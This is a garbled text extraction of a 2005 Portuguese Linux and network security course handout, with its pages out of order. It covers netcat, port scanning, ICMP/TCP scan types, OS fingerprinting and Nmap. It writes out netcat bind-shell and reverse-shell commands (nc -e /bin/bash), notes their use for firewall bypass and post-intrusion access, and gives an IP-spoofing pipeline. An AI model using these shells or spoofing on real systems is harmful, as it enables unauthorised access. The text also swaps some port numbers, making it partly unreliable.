-w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 34: Curso de segurança em linux e redes em geral

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

